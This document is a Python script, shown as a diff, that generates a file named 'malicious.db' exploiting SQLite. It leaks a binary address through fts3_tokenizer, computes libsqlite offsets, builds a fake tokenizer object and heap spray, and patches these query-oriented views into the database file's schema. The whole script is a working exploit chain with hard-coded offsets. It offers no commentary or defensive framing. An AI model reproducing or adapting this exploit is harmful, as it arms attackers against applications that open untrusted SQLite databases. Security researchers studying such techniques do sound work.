1+ import os
2+ import random
3+ import string
4+ import sqlite3
5+
6+
7+ def gen_int2hex_map ():
8+ conn .execute ("CREATE TABLE hex_map (int INTEGER, val BLOB);" )
9+ for i in range (256 ):
10+ conn .execute ("INSERT INTO hex_map VALUES ({}, x'{}');" .format (i , '' .join ('%02x' % i )))
11+
12+
13+ def math_with_const (output_view , table_operand , operator , const_operand ):
14+ return "CREATE VIEW {} AS SELECT ( (SELECT * FROM {} ) {} ( SELECT '{}') ) as col;" .format (output_view ,
15+ table_operand , operator ,
16+ const_operand )
17+
18+
19+ def p64 (output_view , input_view ):
20+ return """CREATE VIEW {0} AS SELECT cast(
21+ (SELECT val FROM hex_map WHERE int = (((select col from {1}) / 1) % 256))||
22+ (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 8)) % 256))||
23+ (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 16)) % 256))||
24+ (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 24)) % 256))||
25+ (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 32)) % 256))||
26+ (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 40)) % 256))||
27+ (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 48)) % 256))||
28+ (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 56)) % 256)) as blob) as col;""" .format (output_view , input_view )
29+
30+
31+ def u64 (output_view , input_view ):
32+ return """CREATE VIEW {0} AS SELECT (
33+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -1, 1)) -1) * (1 << 0))) +
34+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -2, 1)) -1) * (1 << 4))) +
35+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -3, 1)) -1) * (1 << 8))) +
36+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -4, 1)) -1) * (1 << 12))) +
37+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -5, 1)) -1) * (1 << 16))) +
38+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -6, 1)) -1) * (1 << 20))) +
39+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -7, 1)) -1) * (1 << 24))) +
40+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -8, 1)) -1) * (1 << 28))) +
41+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -9, 1)) -1) * (1 << 32))) +
42+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -10, 1)) -1) * (1 << 36))) +
43+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -11, 1)) -1) * (1 << 40))) +
44+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -12, 1)) -1) * (1 << 44))) +
45+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -13, 1)) -1) * (1 << 48))) +
46+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -14, 1)) -1) * (1 << 52))) +
47+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -15, 1)) -1) * (1 << 56))) +
48+ (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -16, 1)) -1) * (1 << 60)))) as col;""" .format (output_view , input_view )
49+
50+
51+ def fake_obj (output_view , ptr_list ):
52+ if not isinstance (ptr_list , list ):
53+ raise TypeError ('fake_obj() ptr_list is not a list' )
54+ from_string = [i .split ("." )[0 ] for i in ptr_list if not i .startswith ("x" )]
55+ from_string [0 ] = "FROM " + from_string [0 ]
56+ ptrs = "||" .join (ptr_list )
57+ return """CREATE VIEW {0} AS SELECT {1} {2};""" .format (output_view , ptrs , " JOIN " .join (from_string ))
58+
59+ def heap_spray (output_view , spray_count , sprayed_obj ):
60+ return """CREATE VIEW {0} AS SELECT replace(hex(zeroblob({1})), "00", (SELECT * FROM {2}));""" .format (output_view , spray_count , sprayed_obj )
61+
62+ def flip_end (output_view , input_view ):
63+ return """CREATE VIEW {0} AS SELECT
64+ SUBSTR((SELECT col FROM {1}), -2, 2)||
65+ SUBSTR((SELECT col FROM {1}), -4, 2)||
66+ SUBSTR((SELECT col FROM {1}), -6, 2)||
67+ SUBSTR((SELECT col FROM {1}), -8, 2)||
68+ SUBSTR((SELECT col FROM {1}), -10, 2)||
69+ SUBSTR((SELECT col FROM {1}), -12, 2)||
70+ SUBSTR((SELECT col FROM {1}), -14, 2)||
71+ SUBSTR((SELECT col FROM {1}), -16, 2) AS col;""" .format (output_view , input_view )
72+
73+
74+ def gen_dummy_DDL_stmt (stmt_len ):
75+ table_name = "" .join (random .choice (string .ascii_lowercase ) for i in range (6 ))
76+ base = ("CREATE TABLE {} (a text)" .format (table_name ))
77+ assert len (base ) < stmt_len
78+ ret = "CREATE TABLE {} (a{} text)" .format (table_name , 'a' * (stmt_len - len (base )))
79+ return ret
80+
81+
82+ def patch (db_file , old , new ):
83+ assert (len (old ) == len (new ))
84+ with open (db_file , "rb" ) as rfd :
85+ content = rfd .read ()
86+ offset = content .find (old )
87+ assert (offset > 100 ) # offset found and bigger then sqlite header
88+ patched = content [:offset ] + new + content [offset + len (old ):]
89+ with open (db_file , "wb" ) as wfd :
90+ wfd .write (patched )
91+
92+
93+ if __name__ == "__main__" :
94+ DB_FILENAME = 'malicious.db'
95+ SIMPLE_MODULE_OFFSET = str (0x002C3820 )
96+ SIMPLE_CREATE_OFFSET = str (0x0002A790 )
97+ SIMPLE_DESTROY_OFFSET = str (0x0001B3D0 )
98+
99+ conn = sqlite3 .connect (DB_FILENAME )
100+
101+ conn .execute ("PRAGMA page_size = 65536;" ) # long DDL statements tend to split with default page size.
102+ gen_int2hex_map ()
103+ qop_chain = []
104+
105+ print ("[+] Generating binary leak statements" )
106+ qop_chain .append ('CREATE VIEW le_bin_leak AS SELECT hex(fts3_tokenizer("simple")) AS col;' )
107+ qop_chain .append (flip_end ('bin_leak' , 'le_bin_leak' ))
108+ qop_chain .append (u64 ('u64_bin_leak' , 'bin_leak' ))
109+
110+ print ("[+] Generating offsets calculation statements" )
111+ qop_chain .append (math_with_const ('u64_libsqlite_base' , 'u64_bin_leak' , '-' , SIMPLE_MODULE_OFFSET ))
112+
113+ qop_chain .append (math_with_const ('u64_simple_create' , 'u64_libsqlite_base' , '+' , SIMPLE_CREATE_OFFSET ))
114+ qop_chain .append (p64 ('p64_simple_create' , 'u64_simple_create' ))
115+
116+ qop_chain .append (math_with_const ('u64_simple_destroy' , 'u64_libsqlite_base' , '+' , SIMPLE_DESTROY_OFFSET ))
117+ qop_chain .append (p64 ('p64_simple_destroy' , 'u64_simple_destroy' ))
118+
119+ print ("[+] Generating Heap Spray statements" )
120+ qop_chain .append (fake_obj ('fake_tokenizer' , ["x'4141414141414141'" , "p64_simple_create.col" , "p64_simple_destroy.col" , "x'4242424242424242'" ]))
121+ qop_chain .append (heap_spray ('heap_spray' , 10000 , 'fake_tokenizer' ))
122+
123+ print ("[+] Generating dummy DDL statements to be patched" )
124+ dummies = []
125+ for q_stmt in qop_chain :
126+ dummies .append (gen_dummy_DDL_stmt (len (q_stmt )))
127+ conn .execute (dummies [- 1 ])
128+
129+ conn .commit ()
130+ print ("[+] Patching commited dummy DDL statements" )
131+ for d_stmt , q_stmt in zip (dummies , qop_chain ):
132+ patch (DB_FILENAME , d_stmt , q_stmt )
133+ print ("[+] All Done" )
0 commit comments